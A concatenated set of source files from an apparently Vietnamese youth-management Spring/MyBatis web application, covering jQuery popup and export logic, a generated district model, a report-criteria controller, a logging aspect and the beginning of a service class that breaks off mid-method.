$("#divBodyRelation").scrollTop(0).scrollLeft(0); btnComfirmRelationClicked = true; $("#btnRegisterPopupRelation").addClass("display-none"); $("#btnEditRelation").removeClass("display-none"); currentMode = MODE_EDIT; } else { drawTable0045(1); $("#btnRegisterPopupRelation").removeClass("display-none"); $("#btnEditRelation").addClass("display-none"); btnComfirmRelationClicked = false; currentMode = MODE_NEW; } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } // register Family Relation $(document).on("click", "#btnRegisterPopupRelation", function() { // count quality row of table Relation var countTrRelation = $('#divBodyRelation > #tblBodyRelation > tbody > tr').length; for (var i = 1; i <= countTrRelation; i++) { relationStr = relationStr + $("#divBodyRelation > #tblBodyRelation > tbody > tr:nth-child("+i+")" ).attr("id") + ":"; var countTdRelation = $("#divBodyRelation > #tblBodyRelation > tbody > tr:nth-child("+i+") td" ).length; for (var j = 0; j < countTdRelation; j++) { // check <td> in table has empty. var textOfTd = $("#divBodyRelation > #tblBodyRelation > tbody > tr:nth-child("+i+")").find("td").eq(j).text(); if ( textOfTd == "") { jWarning(VALIDATE_BLANK_FIELDS_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); relationStr = ''; btnComfirmRelationClicked = false; break; } else { if (textOfTd != "") { btnComfirmRelationClicked = true; $(this).addClass("display-none"); // if j = quality of Td in tr if (j == countTdRelation - 1) { relationStr += textOfTd + "," } else { relationStr += textOfTd + ":" } } } } } if (relationStr != "") { alert (relationStr); if (currentMode == MODE_NEW) { $(this).data('clicked', true); $.ajax({ type: "POST", url: "insertRelation", data: { "relationStr": relationStr, "personId": personId}, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { if (returnedJsonData == INSERT_RESULT_SUCCESSFUL) { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + INSERT_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_DUPLICATED) { // duplicated cate id // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_DUPLICATED_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }) } else if (currentMode == MODE_EDIT) { $.ajax({ type: "POST", url: "updateRelation", data: { "relationStr": relationStr, "personId": personId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + UPDATE_RESULT_SUCCESSFUL_MESSAGE); } } }); } } if (!btnComfirmRelationClicked) { $(this).removeClass("display-none"); } else { $(this).addClass("display-none"); } }); /**************************************************** * 0049 - Edit Report ***************************************************/ $(document).on("click", ".btnEditReport", function() { processYoursellStr = ""; // get row index personId = $(this).attr("id"); selectedRowIndex = $(this).attr("name"); $("#report_popup").load(rootPath + "/0049/"); $("#btnRegisterNoteReport").removeClass("disabled"); if (reportData != '') { setTimeout(function() { // reset variables // draw table drawResult = drawTable0049Report(); }, 1000); } else { // display error message jWarning(SEARCH_RESULT_NO_DATA_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); } }); function drawTable0049Report() { if (reportData != '') { // clear table $("#divBodyReport > #tblBodyReport").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < reportData.length; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); // reportName tableStringArray.push("<td id = '"+reportData[i].reportId+"' class = 'row_reportId algin-center' name = '"+i+"'>"+reportData[i].reportName+"</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyReport > #tblBodyReport").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHeadReport").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table $("#divBodyReport").scrollTop(0).scrollLeft(0); } } /* * dratable Report Data */ $(document).on("click", ".row_reportId", function() { var selectedReportId = $(this).attr("name"); // if row selected has't class bg_00c0ef then add Class bg_00c0ef var reportId = $(this).attr("id"); if (!$(this).hasClass("bg_00c0ef")) { $(this).addClass("bg_00c0ef"); $(".row_reportId").each(function(){ if ($(this).attr("id") != reportId) { $(this).removeClass("bg_00c0ef"); } // if it has then reportSelectedStr + id of report }); $("#noteReport_popup").load(rootPath + "/0051/?reportIdStr=" + reportId); setTimeout(function() { drawTableDetailReport(reportId); }, 1000); } else { // else remove class bg_00c0ef $(this).removeClass("bg_00c0ef"); } }); function drawTableDetailReport(reportIdPopup) { $.ajax({ url: "../0051/getDetailReport", type: "POST", data: { "reportId": reportIdPopup }, success: function(returnJsonData) { if (checkSessionTimeout(returnJsonData) == 1) return; if (returnJsonData.length == 0) { $("#noteReport_popup").addClass("display-none"); $("#criteriaReport_popup").addClass("display-none"); // display error message jWarning(SEARCH_RESULT_NO_DATA_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); } else { // clear table $("#tabs-" +reportIdPopup+ " > #divBodyDetailReport > #tblBodyDetailReport").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < returnJsonData.length; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); // DetailReportName tableStringArray.push("<td id = '"+returnJsonData[i].detailReportId+"' criteriaId = '' class = 'row_DetailReportId algin-center' name = '"+i+"'>"+returnJsonData[i].detailReportName+"</td>"); /*// DetailReportName tableStringArray.push("<td reportId = '"+returnJsonData[i].reportId+"' detailReportId = '"+returnJsonData[i].detailReportId+"' class = 'criteria_row'>Chọn Tiêu Chí:</td>"); */// row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); $("#noteReport_popup").removeClass("display-none"); // append all created string to table $("#tabs-" +reportIdPopup+ " > #divBodyDetailReport > #tblBodyDetailReport").append(tableStringArray.join('')); // show search result $("#tabs-" +reportIdPopup+ " > #divHeadDetailReport").removeClass("display-none"); // scroll to top of table $("#tabs-" +reportIdPopup+ " > #divBodyDetailReport").scrollTop(0).scrollLeft(0); if ($("#tabs-" + reportIdPopup + " > #divBodyDetailReport").height() > 300) { $("#tabs-" + reportIdPopup).addClass("overflow-y"); } else { $("#tabs-" + reportIdPopup).removeClass("overflow-y"); } } } }); } /* * dratable Detail Report Data */ var detailReportId = ''; $(document).on("click", ".row_DetailReportId", function() { var selectedReportId = $(this).attr("name"); // if row selected has't class bg_00c0ef then add Class bg_00c0ef detailReportId = $(this).attr("id"); reportId = $("#reportIdStr").val(); if (!$(this).hasClass("bg_00c0ef")) { $(this).addClass("bg_00c0ef"); $(".row_DetailReportId").each(function(){ if ($(this).attr("id") != detailReportId) { $(this).removeClass("bg_00c0ef"); } }); $.ajax({ url: "../0051/getCriteria", type: "POST", data: { "reportId": reportId, "detailReportId" : detailReportId }, success: function(returnJsonData) { if (checkSessionTimeout(returnJsonData) == 1) return; if (returnJsonData.length == 0) { $("#criteriaReport_popup").addClass("display-none"); // display error message jWarning(SEARCH_RESULT_NO_DATA_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); return false; } // clear table $("#divBodyCriteria > #tblBodyCriteria").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < returnJsonData.length; i++) { // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); tableStringArray.push("<td style='width: 10%'><input class = 'chkCriteria' type = 'checkbox' id = '"+returnJsonData[i].criteraId+"' /></td>"); // DetailReportName tableStringArray.push("<td reportId = '"+returnJsonData[i].reportId+"' criteriaId = '"+returnJsonData[i].criteraId+"' class = 'criteria_row_selected align-center'>"+returnJsonData[i].criteraName+"</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyCriteria > #tblBodyCriteria").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#criteriaReport_popup").removeClass("display-none"); if ($("#divBodyCriteria > #tblBodyCriteria").height() > 300) { $("#criteriaReport_popup").addClass("overflow-y") } else { $("#criteriaReport_popup").removeClass("overflow-y") } // scroll to top of table $("#divBodyCriteria").scrollTop(0).scrollLeft(0); setTimeout(function() { checkCriteriaOfPerson(personId, reportId, detailReportId); },500); } }); } else { // else remove class bg_00c0ef $(this).removeClass("bg_00c0ef"); } }); // check when user click button CheckBox $(document).on("click", "#chkAll", function(){ if ($(this).is(":checked")) { $(".chkCriteria").prop("checked", true); } else { $(".chkCriteria").prop("checked", false); } }); //function kiem tra xem thanh nien nay da tạo thông tin bao cáo hay chưa var noteReportData = []; function checkCriteriaOfPerson(personId, reportId, detailReportId) { $.ajax({ url: "../0051/checkCriteriaOfPerson", type: "POST", data: { "personId": personId, "reportId": reportId, "detailReportId" : detailReportId }, success: function(returnJsonData) { if (checkSessionTimeout(returnJsonData) == 1) return; if (returnJsonData.length > 0) { if (returnJsonData.length > 0) { $(".criteria_row_selected").each(function(){ var selctedCriteriaId = $(this).attr("criteriaId"); for (var y = 0; y < returnJsonData.length; y++) { if ($(this).attr("criteriaId") == returnJsonData[y].criteraId) { $(this).parent().find(".chkCriteria").prop("checked", true); break; } } }); currentMode = MODE_EDIT; } } else { currentMode = MODE_NEW; } } }); } // add New Note report of Person $(document).on("click", "#btnRegisterNoteReport", function(){ // reportId var reportId = $("#reportIdStr").val(); // default variable concat with String to Insert or Update Data Note Report var defaultStr = reportId + ":" + detailReportId + ":" // note Report String var noteReportStr = ""; $(".criteria_row_selected").each(function(){ if ($(this).parent().find(".chkCriteria").is(":checked")) { noteReportStr += defaultStr + $(this).attr("criteriaId") + ","; } }); noteReportStr = noteReportStr.substring(0, noteReportStr.length -1); if (noteReportStr == "") { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); return; } if (currentMode == MODE_NEW) { $.ajax({ type: "POST", url: "insertNoteReport", data: { "noteReportStr": noteReportStr, "personId": personId}, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { if (returnedJsonData == INSERT_RESULT_SUCCESSFUL) { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + INSERT_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_DUPLICATED) { // duplicated cate id // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_DUPLICATED_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } else if (currentMode == MODE_EDIT) { $.ajax({ type: "POST", url: "updateNoteReport", data: { "noteReportStr": noteReportStr, "personId": personId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + UPDATE_RESULT_SUCCESSFUL_MESSAGE); } } }); } }) /************************************** * button Export *************************************/ $("#btnExport").click(function(){ $(".alert").addClass("display-none"); // variables definition var returnValue = ""; var dataObject = null; // get search conditions dataObject = createSearchConditions(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "exportData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (returnedJsonData != "") { $("#fileName").val(returnedJsonData); } }, error: function(e) { // set return value returnValue = ""; // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); }); $("#btnDownload").click(function(){ var fileName = $("#fileName").val(); var host = "http://"+window.location.host; var url = host + rootPath+"/resources/download/" + fileName; setTimeout(function() { $.ajax({ type: "GET", url: "../down/xls", data: {"fileName": fileName}, async: false, success: function(returnedJsonData) { if (returnedJsonData != "") { window.location = url; $('#modal-export').modal('hide');/* downloadfile(fileName);*/ } }, error: function(e) { // set return value returnValue = ""; // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); },10000); }); function downloadfile(data) { var host = "http://"+window.location.host; var url = host + "/" + rootPath+"/resources/download/" + data; var filename = url.substring(url.lastIndexOf("/") + 1).split("?")[0]; var xhr = new XMLHttpRequest(); xhr.responseType = 'blob'; xhr.onload = function() { var a = document.createElement('a'); a.href = window.URL.createObjectURL(xhr.response); // xhr.response is a blob a.download = filename; // Set the file name. a.style.display = 'none'; document.body.appendChild(a); a.click(); delete a; //document.getElementById('download_image').src = ""; document.getElementById('download_image').removeAttribute('src'); }; xhr.open('GET', url); xhr.send(); } function download(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'application/octet-stream;charset=utf-8,' + encodeURIComponent(text)); element.setAttribute('download', rootPath + "/resources/download/" + filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function checlFileIsNotExist(filename) { $.ajax({ type: "HEAD", async: true, url: "http://localhost:8080/youth/resources/download/" + filename }).done(function(){ console.log("found"); }).fail(function () { checlFileIsNotExist(filename); }) } /*************************** * Export file PDF **************************/ /*$(documnet).on("click","#btnExportDoc", function(){ // person id var personId = $(this).attr('id'); $.ajax({ type: "POST", url: "downloadDocxFile", data: {"PersonId": personId}, async: false, success: function(returnedJsonData) { if (returnedJsonData != "") { $("#fileName").val(returnedJsonData); xuat_hd_qrXmlSuccess(fileName); } }, error: function(e) { // set return value returnValue = ""; // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); });*/ });``` 13f9dd0fcd79a28bec62407ed5109d7be902eee4.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMDistrict { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String districtId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String countryId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String cityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.DISTRICT_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String districtCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.DISTRICT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String districtName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_district.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.DISTRICT_ID * * @return the value of qltn_m_district.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDistrictId() { return districtId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.DISTRICT_ID * * @param districtId the value for qltn_m_district.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistrictId(String districtId) { this.districtId = districtId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.COUNTRY_ID * * @return the value of qltn_m_district.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCountryId() { return countryId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.COUNTRY_ID * * @param countryId the value for qltn_m_district.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCountryId(String countryId) { this.countryId = countryId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.CITY_ID * * @return the value of qltn_m_district.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCityId() { return cityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.CITY_ID * * @param cityId the value for qltn_m_district.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCityId(String cityId) { this.cityId = cityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.DISTRICT_CODE * * @return the value of qltn_m_district.DISTRICT_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDistrictCode() { return districtCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.DISTRICT_CODE * * @param districtCode the value for qltn_m_district.DISTRICT_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistrictCode(String districtCode) { this.districtCode = districtCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.DISTRICT_NAME * * @return the value of qltn_m_district.DISTRICT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDistrictName() { return districtName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.DISTRICT_NAME * * @param districtName the value for qltn_m_district.DISTRICT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistrictName(String districtName) { this.districtName = districtName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.CREATE_USER_ID * * @return the value of qltn_m_district.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.CREATE_USER_ID * * @param createUserId the value for qltn_m_district.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.CREATE_DATE * * @return the value of qltn_m_district.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.CREATE_DATE * * @param createDate the value for qltn_m_district.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.UPDATE_USER_ID * * @return the value of qltn_m_district.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_district.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.LAST_UPDATE_DATE * * @return the value of qltn_m_district.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_district.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_district.DELETE_FLAG * * @return the value of qltn_m_district.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_district.DELETE_FLAG * * @param deleteFlag the value for qltn_m_district.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` af60807c40f37626b0e1ea3b3adfdcfe363b1211.svn-base ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMUsers; public class Sym0003DataObject extends QltnMUsers { // Password changed indicator private boolean passwordChanged; public boolean isPasswordChanged() { return passwordChanged; } public void setPasswordChanged(boolean passwordChanged) { this.passwordChanged = passwordChanged; } } ``` Sym0051Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import java.util.Locale; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import vn.youthmanager.ict.common.db.model.QltnMCritera; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; import vn.youthmanager.ict.youth.service.Sym0051Service; @Controller @RequestMapping(value = "/0051") public class Sym0051Controller { @Autowired private Sym0051Service sym0051Service; @RequestMapping(value = "/", method = RequestMethod.POST) public String topPost(Locale locale, Model model, @ModelAttribute("reportIdStr") String reportIdStr) { model.addAttribute("reportIdStr", reportIdStr); sym0051Service.initData(model, reportIdStr); return "youth/0051"; } @RequestMapping(value = "/", method = RequestMethod.GET) public String topGet(Locale locale, Model model, @ModelAttribute("reportIdStr") String reportIdStr) { model.addAttribute("reportIdStr", reportIdStr); sym0051Service.initData(model, reportIdStr); return "youth/0051"; } /** * Get data for Detail combobox by detail report id * * @param reportId : data received from client * @return detail report data */ @RequestMapping(value = "/getDetailReport", method = RequestMethod.POST) public @ResponseBody List<QltnMDetailReport> getDetailReport(@RequestParam(value = "reportId") String reportId) { return sym0051Service.getDetailReport(reportId); } /** * Get data for Criteria combobox by detail report id * * @param reportId : data received from client * @param detailReportId : data received from client * @return detail report data */ @RequestMapping(value = "/getCriteria", method = RequestMethod.POST) public @ResponseBody List<QltnMCritera> getCriteria(@RequestParam(value = "reportId") String reportId, @RequestParam(value = "detailReportId") String detailReportId) { return sym0051Service.getCriteria(reportId, detailReportId); } @RequestMapping(value = "/checkCriteriaOfPerson", method = RequestMethod.POST) public @ResponseBody List<QltnMNoteReport> checkCriteriaOfPerson(@RequestParam(value = "personId") String personId, @RequestParam(value = "reportId") String reportId, @RequestParam(value = "detailReportId") String detailReportId) { return sym0051Service.checkCriteriaOfPerson(personId, reportId, detailReportId); } } ``` MethodProgressLogAspect.java ```package vn.youthmanager.ict.common.aop; import org.apache.log4j.Logger; import org.aspectj.lang.JoinPoint; import org.aspectj.lang.annotation.After; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.annotation.Before; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.util.Util; @Aspect @Component public class MethodProgressLogAspect { private static Logger logger = Logger.getLogger(MethodProgressLogAspect.class); @Before("execution(* vn.bananavietnam.ict.banana.service.*.*(..))") public void before(JoinPoint jp) { StringBuilder sb = new StringBuilder(""); sb.append("INFO," + Util.getUserInfo().getID() + ","); sb.append(jp.getTarget().getClass().getName() + ","); sb.append(jp.getSignature().getName() + " METHOD START"); logger.info(new String(sb)); } @Before("execution(* vn.bananavietnam.ict.banana.service.*.*.newRequest(..))") public void newRequest(JoinPoint jp) { } @After("execution(* vn.bananavietnam.ict.banana.service.*.*(..))") public void after(JoinPoint jp) { StringBuilder sb = new StringBuilder(""); sb.append("INFO," + Util.getUserInfo().getID() + ","); sb.append(jp.getTarget().getClass().getName() + ","); sb.append(jp.getSignature().getName() + " METHOD END"); logger.info(new String(sb)); } }``` Sym0040Service.java ```package vn.youthmanager.ict.youth.service; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCategory; import vn.youthmanager.ict.common.db.model.QltnMCategoryExample; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCityExample; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.db.model.QltnMCountryExample; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMDistrictExample; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.common.db.model.QltnMFamilyRelatives; import vn.youthmanager.ict.common.db.model.QltnMGroups; import vn.youthmanager.ict.common.db.model.QltnMGroupsExample; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; import vn.youthmanager.ict.common.db.model.QltnMNoteReportKey; import vn.youthmanager.ict.common.db.model.QltnMPerson; import vn.youthmanager.ict.common.db.model.QltnMProcessPerson; import vn.youthmanager.ict.common.db.model.QltnMReport; import vn.youthmanager.ict.common.db.model.QltnMReportExample; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; import vn.youthmanager.ict.common.db.model.QltnMSpecializedExample; import vn.youthmanager.ict.common.db.model.QltnMStatus; import vn.youthmanager.ict.common.db.model.QltnMStatusExample; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMTownExample; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.common.db.model.QltnMUniversityExample; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.common.db.model.QltnMWardsExample; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0040Dao; import vn.youthmanager.ict.youth.dao.Sym0041Dao; import vn.youthmanager.ict.youth.dao.Sym0043Dao; import vn.youthmanager.ict.youth.db.model.Sym0041Result; @Service public class Sym0040Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); ObjectMapper mapper = new ObjectMapper(); // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; @Autowired private Sym0040Dao sym0040Dao; @Autowired private Sym0041Dao sym0041Dao; @Autowired private Sym0043Dao sym0043Dao; // count so lan insert relationship private int countRelation = 0; // count so lan insert process person private int countProcessPerson; // count so lan insert note report private int countNoteReport; public int getCountNoteReport() { return countNoteReport; } public void setCountNoteReport(int countNoteReport) { this.countNoteReport = countNoteReport; } public int getCountProcessPerson() { return countProcessPerson; } public void setCountProcessPerson(int countProcessPerson) { this.countProcessPerson = countProcessPerson; } public int getCountRelation() { return countRelation; } public void setCountRelation(int countRelation) { this.countRelation = countRelation; } /** * getLastSTTPerson. * * @return String */ public String getLastSTTPerson() { HashMap<String, Object> params = new HashMap<String, Object>(); ArrayList<QltnMPerson> listSttPerson = new ArrayList<QltnMPerson>(); listSttPerson = sym0043Dao.getSym0043Mapper().getLastSTTPerson(params); return String.valueOf(Integer.parseInt(listSttPerson.get(0).getKskquanStt()) + 1) + "-" + String.valueOf(Integer.parseInt(listSttPerson.get(0).getLltnStt()) + 1); } /** * initData. * * @param model */ public void initData(Model model) { HashMap<String, Object> params = new HashMap<String, Object>(); ArrayList<QltnMPerson> listSttPerson = new ArrayList<QltnMPerson>(); listSttPerson = sym0043Dao.getSym0043Mapper().getLastSTTPerson(params); if (listSttPerson.size() > 0) { model.addAttribute("lastKskquanStt", Integer.parseInt(listSttPerson.get(0).getKskquanStt()) + 1); model.addAttribute("lastLltnStt", Integer.parseInt(listSttPerson.get(0).getLltnStt()) + 1); } else { model.addAttribute("lastKskquanStt", 1); model.addAttribute("lastLltnStt", 1); } List<QltnMReport> reportData = new ArrayList<QltnMReport>(); // get all data of report with delete flag = 0 try { QltnMReportExample qltnMReportExample = new QltnMReportExample(); 